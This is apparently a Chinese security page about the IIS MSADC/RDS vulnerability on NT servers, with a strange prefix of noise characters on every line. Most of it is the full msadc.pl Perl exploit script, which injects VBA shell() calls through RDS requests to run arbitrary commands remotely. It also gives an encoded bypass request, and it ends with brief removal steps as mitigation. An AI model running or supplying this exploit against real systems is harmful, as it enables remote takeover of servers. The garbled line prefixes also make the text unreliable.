IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
.K%1{`.| *i3\`;^= 涉及程序:
xvn@zi Microsoft NT server
j]Y`L?!Q !:"$1kh1(" 描述:
WD.td 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
hilgl<UF c~ x 详细:
jRdmQmTJ 如果你没有时间读详细内容的话,就删除:
h]WPWa)M c:\Program Files\Common Files\System\Msadc\msadcs.dll
.S4c<pMap 有关的安全问题就没有了。
Y=0D[o8 #2
Gy=GvV 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
~nLE?>x|Z %+gK5aVab 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
ul@G{N{L 关于利用ODBC远程漏洞的描述,请参看:
lqdil l\ <Cv6wC= http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm p8gm= g}\G@7Q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
xb8S)zO]Q http://www.microsoft.com/security/bulletins/MS99-025faq.asp ]c/k%]o~ 1j4tR#L 这里不再论述。
f0Wbc\L[ qrdA4S 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
m^?a / DD$YMM /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
F{,<6/ayRz 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
E^'f'\m y(81| c# b~oQhU??" #将下面这段保存为txt文件,然后: "perl -x 文件名"
ZDn5d% 'LC-/_g #!perl
0o-.m #
*BdKQ/Dk # MSADC/RDS 'usage' (aka exploit) script
f%ThS42 #
TjDDvXY # by rain.forest.puppy
_`|te|ccF #
oyfY>^bs # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9Kl:3C # beta test and find errors!
) oypl+y +q<G%PwbV use Socket; use Getopt::Std;
^qR2 !fwm< getopts("e:vd:h:XR", \%args);
;-]' OiS; ,/%@:Fh4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
NAg9EaWja{ HgY [Q}7s if (!defined $args{h} && !defined $args{R}) {
8_*31Y
print qq~
[T}Lq~ Usage: msadc.pl -h <host> { -d <delay> -X -v }
]:"<if gp$ -h <host> = host you want to scan (ip or domain)
LZR
x>q^ -d <seconds> = delay between calls, default 1 second
fGtYvl O-5 -X = dump Index Server path table, if available
~9ZW~z' -v = verbose
"/ 9EUbca -e = external dictionary file for step 5
&d,!^9 3fBV
SFVS Or a -R will resume a command session
=(aA`:Nl qz_'v{uAj ~; exit;}
_dQg5CmlG "O (N=|b $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
sd
m4zV]& if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
),!1B% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H\vd0DD; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
[uLwr$N<%L $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
m.6O%jD if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
UgD|tuz] 1U?,}w if (!defined $args{R}){ $ret = &has_msadc;
`xXpP"*o} die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
uCB>".'kM 3bU(ea^e$ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Bz+zEXBC . "cmd /c ";
R"2wop $in=<STDIN>; chomp $in;
%$Smei $command="cmd /c " . $in ;
fV(WUN+ nY)H-u^ if (defined $args{R}) {&load; exit;}
ko-,l6E ; <NK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'((pW &try_btcustmr;
{3LAK[C mxPzB#t4 print "\nStep 2: Trying to make our own DSN...";
KHO@"+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
/XVjcD66c R`HC
EX) print "\nStep 3: Trying known DSNs...";
;n\$'"K&; &known_dsn;
QKB*N)%6 cfZ$V^xM print "\nStep 4: Trying known .mdbs...";
tEam6xNf, &known_mdb;
ATG;*nIP E3vYVuw if (defined $args{e}){
'$q=r x print "\nStep 5: Trying dictionary of DSN names...";
kfW"vI+d &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Vu=e|A# je#OV,uHM print "Sorry Charley...maybe next time?\n";
!E@4^A80\W exit;
UURYK~$K: v?
Ufx ##############################################################################
}mdk+IEt m+!T
$$W sub sendraw { # ripped and modded from whisker
63PSYj(y sleep($delay); # it's a DoS on the server! At least on mine...
fw3P?_4;* my ($pstr)=@_;
]. E/s(p socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'#eY4d<i]n die("Socket problems\n");
a\l?7Jr if(connect(S,pack "SnA4x8",2,80,$target)){
e0z(l/UB select(S); $|=1;
1=@csO_yn print $pstr; my @in=<S>;
,L&d\M"f select(STDOUT); close(S);
$o%:ST4 return @in;
CK=TD`$w } else { die("Can't connect...\n"); }}
UKpc3Jo:~ .+d.~jHX ##############################################################################
'c/S$_r k}&7!G@T sub make_header { # make the HTTP request
fMm.V=/+ my $msadc=<<EOT
=pk5'hBAi POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
p6c&vEsNj User-Agent: ACTIVEDATA
W/@-i|v Host: $ip
f`vu+nw Content-Length: $clen
/$'|`jKsB Connection: Keep-Alive
5Y4#aq xf4CM,Z7( ADCClientVersion:01.06
%y|L'C,ge" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1=L5=uz1d: MUW&m2 --!ADM!ROX!YOUR!WORLD!
=kP|TR!o- Content-Type: application/x-varg
KD* xFap Content-Length: $reqlen
UFzC8 `UD,ne EOT
M*
0zvNg
; $msadc=~s/\n/\r\n/g;
ia#8 ^z return $msadc;}
(Go1@;5I
NIh?2w"\ ##############################################################################
IgyoBfj\d 5q,ZH6\
{ sub make_req { # make the RDS request
s1>d)2lX my ($switch, $p1, $p2)=@_;
M .oH,Kd6 my $req=""; my $t1, $t2, $query, $dsn;
&WKAg:^k) d=C&b] if ($switch==1){ # this is the btcustmr.mdb query
Ud& '*, $query="Select * from Customers where City=" . make_shell();
*!r"+?0gN $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
KXf(v4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/<VR-yr SH6+'7 elsif ($switch==2){ # this is general make table query
5V*R
Dh $query="create table AZZ (B int, C varchar(10))";
JUCp#[q $dsn="$p1";}
&dky_H 6o)RsxN eu elsif ($switch==3){ # this is general exploit table query
3lsfT-|Wt& $query="select * from AZZ where C=" . make_shell();
)]tf|Mbu $dsn="$p1";}
S;^'Ek"Z. gwyX%9 elsif ($switch==4){ # attempt to hork file info from index server
@j<Q2z^ $query="select path from scope()";
{\vcwMUzZ $dsn="Provider=MSIDXS;";}
=Cc]ugl7- EC/=JlL`5 elsif ($switch==5){ # bad query
"lRxatM $query="select";
e'|IRhr $dsn="$p1";}
\C<'2KZR, {|B
2$1': $t1= make_unicode($query);
S|
|OSxZ $t2= make_unicode($dsn);
0[ZB ^ $req = "\x02\x00\x03\x00";
j8)rz $req.= "\x08\x00" . pack ("S1", length($t1));
xnOd$] $req.= "\x00\x00" . $t1 ;
Oy_%U* $req.= "\x08\x00" . pack ("S1", length($t2));
| Di7,$c $req.= "\x00\x00" . $t2 ;
y>>)Yo&| $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
A5E^1j}h@ return $req;}
P%aNbMg `-w, 6 ##############################################################################
WX*
uhR 8o i{%C&- sub make_shell { # this makes the shell() statement
u<JkP <"S return "'|shell(\"$command\")|'";}
x~QZVL=: 2.
q\!V}yQ ##############################################################################
/:@)De(S 6~OJB! sub make_unicode { # quick little function to convert to unicode
$ftxid8 my ($in)=@_; my $out;
YSbeCyv for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
-Q6Vz=ku return $out;}
]&OI.p *?pnTQs^ ##############################################################################
YYhN>d$ ^c]c`w sub rdo_success { # checks for RDO return success (this is kludge)
ns#v?D9NF my (@in) = @_; my $base=content_start(@in);
g(C/J9J if($in[$base]=~/multipart\/mixed/){
K5HzA1^ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
H`s[=Y,m return 0;}
'#a;n &$heW, ##############################################################################
[jR>.H' jqlfypU sub make_dsn { # this makes a DSN for us
u7SC_3R my @drives=("c","d","e","f");
<+UJgB
A- print "\nMaking DSN: ";
H8kB.D[7Q foreach $drive (@drives) {
pQi |PQq print "$drive: ";
vNHvuwK my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
3el/,v|qj "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
!l5@L\ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
sIMN""@Y^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
P@5}}vwS return 0 if $2 eq "404"; # not found/doesn't exist
lnGg1/ if($2 eq "200") {
y3':x[d foreach $line (@results) {
_jb&=f8 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^^g u } return 0;}
4Uhh]/ ,3
[FD9 ##############################################################################
t?H
sfN <v!jS=T sub verify_exists {
7LB%7~{< my ($page)=@_;
@KRia{
my @results=sendraw("GET $page HTTP/1.0\n\n");
XAN.Plk return $results[0];}
{:#c1d2@8 N;a' `l ##############################################################################
pfR~?jYzm Lvrflx*Q sub try_btcustmr {
A
^t _"J my @drives=("c","d","e","f");
mU]pK5 my @dirs=("winnt","winnt35","winnt351","win","windows");
RivhEc1h% 5me#/NqLHY foreach $dir (@dirs) {
>sZ_I?YDs print "$dir -> "; # fun status so you can see progress
FX!Qd&kl1 foreach $drive (@drives) {
1vYa&! print "$drive: "; # ditto
y;%\w-.\ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
M/,lP $reqlenlen=length( "$reqlen" );
MDZPp;\) $clen= 206 + $reqlenlen + $reqlen;
6~l+wu<$ N2 t` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
SmAii}-jf if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
kQp*+ras else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
.Fx3WryF 2FY]o~@ ##############################################################################
=y >CO:^G% {Iz"]Wh<f sub odbc_error {
DyCkz"1S my (@in)=@_; my $base;
O^q~dda my $base = content_start(@in);
T*g}^TEh if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
9
e|[9 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
] &SmeTe $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}:Y)DH%u $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yMD3h$w3a return $in[$base+4].$in[$base+5].$in[$base+6];}
CM6! 1 7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
[{>3"XJ'
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
FOteNQTj $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1p$ *N /l+"aKW
2 ##############################################################################
:2V|(:^' sm{/S*3 sub verbose {
7'gk=MQc my ($in)=@_;
At'M? Q@v return if !$verbose;
$3gM P+ print STDOUT "\n$in\n";}
4|4 *rhwp e jR_3K^ ##############################################################################
MEM(uBYKOb fCZ"0P3( sub save {
NZO86y/ my ($p1, $p2, $p3, $p4)=@_;
ac6@E4 _ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:9e4(7~ona print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
("YWJJ'H close OUT;}
1<cx!=w' :YPi>L5 ##############################################################################
}=JSd@`_ A
H=%6oT2 sub load {
Xpv<v[a my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-zWNQp$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
$$SJLV @p=<IN>; close(IN);
qO/3:- $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
#*%?]B= $target= inet_aton($ip) || die("inet_aton problems");
7VskZbj\ print "Resuming to $ip ...";
+_25E.>ml $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
KdD~;Ap$ if($p[1]==1) {
{c~w
Ms# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
I_e7rE0` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
s IBP$9 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n]7rHV}G if (rdo_success(@results)){print "Success!\n";}
`[e0_g\ else { print "failed\n"; verbose(odbc_error(@results));}}
=$%-RX7 elsif ($p[1]==3){
v
V;]? if(run_query("$p[3]")){
;$8ptB . print "Success!\n";} else { print "failed\n"; }}
-d thY(8 elsif ($p[1]==4){
h6bvUI+|h if(run_query($drvst . "$p[3]")){
"a(e2H2&T4 print "Success!\n"; } else { print "failed\n"; }}
(zxL!ZR< exit;}
N<<O(r XfflD9M ##############################################################################
Anqt:( 5j\Kej sub create_table {
K7C!ZXw~ my ($in)=@_;
K4o']{:U $reqlen=length( make_req(2,$in,"") ) - 28;
LK!sk5/ $reqlenlen=length( "$reqlen" );
Efoy]6P\ $clen= 206 + $reqlenlen + $reqlen;
TU;AO%5 my @results=sendraw(make_header() . make_req(2,$in,""));
qu!x#OY+ return 1 if rdo_success(@results);
9I`0`o"A my $temp= odbc_error(@results); verbose($temp);
e
z_c; return 1 if $temp=~/Table 'AZZ' already exists/;
<f =<r*6 return 0;}
O3)B]!xL %_!0V*X* ##############################################################################
rP,| =M9R~J! sub known_dsn {
0l/7JH_@V # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;JgSA&'e my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
EQk omjv "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
-0BxZ AW= "banner", "banners", "ads", "ADCDemo", "ADCTest");
wWSw0 H/ a8v\H8@X foreach $dSn (@dsns) {
>rSCf= print ".";
kM@e_YtpY next if (!is_access("DSN=$dSn"));
bxO[y<|XL if(create_table("DSN=$dSn")){
:'xZF2 print "$dSn successful\n";
k<Xb<U if(run_query("DSN=$dSn")){
gPA8A>U)[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\gK'g-)} print "Something's borked. Use verbose next time\n";}}} print "\n";}
J`C 2}$
~ Q@8(e&{#W ##############################################################################
Lsai8 B .gNziDO
sub is_access {
W$Xr:RU my ($in)=@_;
PW iuM=E $reqlen=length( make_req(5,$in,"") ) - 28;
cvf?ID84 $reqlenlen=length( "$reqlen" );
j?T>S]xOX $clen= 206 + $reqlenlen + $reqlen;
BHS@whj my @results=sendraw(make_header() . make_req(5,$in,""));
q2OF-.rE my $temp= odbc_error(@results);
}}u`*&,g verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<%W&xk return 0;}
S,udpQ7 U>00B|<GJ ##############################################################################
O_GHvLO= >wL!`:c'" sub run_query {
"=KFag my ($in)=@_;
MRZN4<}9 $reqlen=length( make_req(3,$in,"") ) - 28;
ZsCwNZR $reqlenlen=length( "$reqlen" );
Nf2lw]-G4 $clen= 206 + $reqlenlen + $reqlen;
7xY&7 x(v my @results=sendraw(make_header() . make_req(3,$in,""));
:7X{s4AU6 return 1 if rdo_success(@results);
HRQfT>"/ my $temp= odbc_error(@results); verbose($temp);
+fKV/tSWi return 0;}
;8
*"c ;CoD5F! ##############################################################################
__1Hx?f \TnK<83 sub known_mdb {
{X<_Y< my @drives=("c","d","e","f","g");
;Jb%2?+=! my @dirs=("winnt","winnt35","winnt351","win","windows");
}sJ}c}b my $dir, $drive, $mdb;
4~&X]/_' my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ke KsLrd H#WqO<<v # this is sparse, because I don't know of many
X+HPdrT my @sysmdbs=( "\\catroot\\icatalog.mdb",
6' \M:'<0e "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
3u 7A( "\\system32\\certmdb.mdb",
j|qdf3^f "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
U#sv.r/L}3 W5()A,R my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
f_;tFP
B "\\cfusion\\cfapps\\forums\\forums_.mdb",
rf 60' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
)7-mALyW "\\cfusion\\cfapps\\security\\realm_.mdb",
WP Gp(Xw "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~BgYD)ov "\\cfusion\\database\\cfexamples.mdb",
n{qVF#N_ "\\cfusion\\database\\cfsnippets.mdb",
wlh%{l "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
qlg.\H:W~ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
DY/%|w*L "\\cfusion\\brighttiger\\database\\cleam.mdb",
W>c*\)Xk ! "\\cfusion\\database\\smpolicy.mdb",
7:=(yBG "\\cfusion\\database\cypress.mdb",
%F$]v "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
h/y0Q~|/d "\\website\\cgi-win\\dbsample.mdb",
{w,<igh "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
7|bBC+;( "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
F9(jx#J~t ); #these are just
(KfQ'B+ foreach $drive (@drives) {
cRCji^,KJ foreach $dir (@dirs){
"(~fl<; foreach $mdb (@sysmdbs) {
OwgPgrV print ".";
!\$4A, if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
EFu$>Z4 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
kQ_Vj7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
vXSA_"0t print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
QW_v\GHx } else { print "Something's borked. Use verbose next time\n"; }}}}}
mq(K_ "jq6FT)O foreach $drive (@drives) {
o4j!:CI foreach $mdb (@mdbs) {
L$ ^ew0C print ".";
v}z^M_eFm if(create_table($drv . $drive . $dir . $mdb)){
%m/5!
" print "\n" . $drive . $dir . $mdb . " successful\n";
3RD+;^}q3 if(run_query($drv . $drive . $dir . $mdb)){
{A%&D^o) print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
u@+^lRGFh } else { print "Something's borked. Use verbose next time\n"; }}}}
hOs~/bM }
f'7/Wj {}gL*2:EW$ ##############################################################################
*IF~ab2 $RHw6*COG sub hork_idx {
7C_U:x print "\nAttempting to dump Index Server tables...\n";
Dr(;A>?qG print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ra^c5hP:.E $reqlen=length( make_req(4,"","") ) - 28;
1gvh6eE
F $reqlenlen=length( "$reqlen" );
hh.`Yu L $clen= 206 + $reqlenlen + $reqlen;
LW/> % my @results=sendraw2(make_header() . make_req(4,"",""));
'~z`kah if (rdo_success(@results)){
1-<?EOYaE my $max=@results; my $c; my %d;
!wKNYe for($c=19; $c<$max; $c++){
jd"YaZOQ $results[$c]=~s/\x00//g;
:;LaV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!>+m46A $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Xg;<?g?k $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;7JyL|2 $d{"$1$2"}="";}
41rS0QAM foreach $c (keys %d){ print "$c\n"; }
46|LIc
} } else {print "Index server doesn't seem to be installed.\n"; }}
=NPo<^Lae h^w# I ##############################################################################
S3QX{5t\ BHNJH sub dsn_dict {
{n<1uh9~$8 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
UD5hk while(<IN>){
|h((SreO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
u)/i$N next if (!is_access("DSN=$dSn"));
'g}Q@@b if(create_table("DSN=$dSn")){
q%1B4 mF' print "$dSn successful\n";
qV``' _=< if(run_query("DSN=$dSn")){
Tv%
Z|%* print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/"R{1 print "Something's borked. Use verbose next time\n";}}}
<BBSC print "\n"; close(IN);}
tqKX\N=5^ iRv\:.aQ. ##############################################################################
+<f+kh2L
Qi9M4Yv sub sendraw2 { # ripped and modded from whisker
jq|fIP sleep($delay); # it's a DoS on the server! At least on mine...
JxRn)D my ($pstr)=@_;
sd*NY socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
jT-tsQ ., die("Socket problems\n");
Go~3L8
' if(connect(S,pack "SnA4x8",2,80,$target)){
:/fT8KCwo print "Connected. Getting data";
:D !/.0 open(OUT,">raw.out"); my @in;
F7=&CW 0 select(S); $|=1; print $pstr;
k4"O}jQO while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
_gCi@uXS3 close(OUT); select(STDOUT); close(S); return @in;
e4.G9( } else { die("Can't connect...\n"); }}
H~0B5Hl!F t-]~^s ##############################################################################
xp\6,Jyh h<!!r sub content_start { # this will take in the server headers
!\\1#:*_W my (@in)=@_; my $c;
3Z%jx# for ($c=1;$c<500;$c++) {
WxtB:7J if($in[$c] =~/^\x0d\x0a/){
K#yCZ2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
zWF[cf>' else { return $c+1; }}}
q~xs4?n1U return -1;} # it should never get here actually
^c){N-G 8` WaUB% ##############################################################################
1t#|MH
?U_ <sjz_::V8R sub funky {
=Zaw>p*H my (@in)=@_; my $error=odbc_error(@in);
#!4
HSBf if($error=~/ADO could not find the specified provider/){
I5rAL\ y-G print "\nServer returned an ADO miscofiguration message\nAborting.\n";
-8t&&fIA exit;}
SMA' VU if($error=~/A Handler is required/){
wPJA+ print "\nServer has custom handler filters (they most likely are patched)\n";
1f2*S$[*L exit;}
i| *r/ if($error=~/specified Handler has denied Access/){
-TNb=2en( print "\nServer has custom handler filters (they most likely are patched)\n";
[>:9#n exit;}}
8Tp!b
%2. In#m~nE[M ##############################################################################
[*Vo`WgbD V%FWZn^ sub has_msadc {
%
+M,FgW my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
d{]2Q9g my $base=content_start(@results);
?T'a{~]R return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ey
U*20 return 0;}
/@LUD= =UZQ` { ########################
X@:@1+U xJ\>;$CY 14h0$7 解决方案:
qtS+01o 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
NHaqT@: 2、移除web 目录: /msadc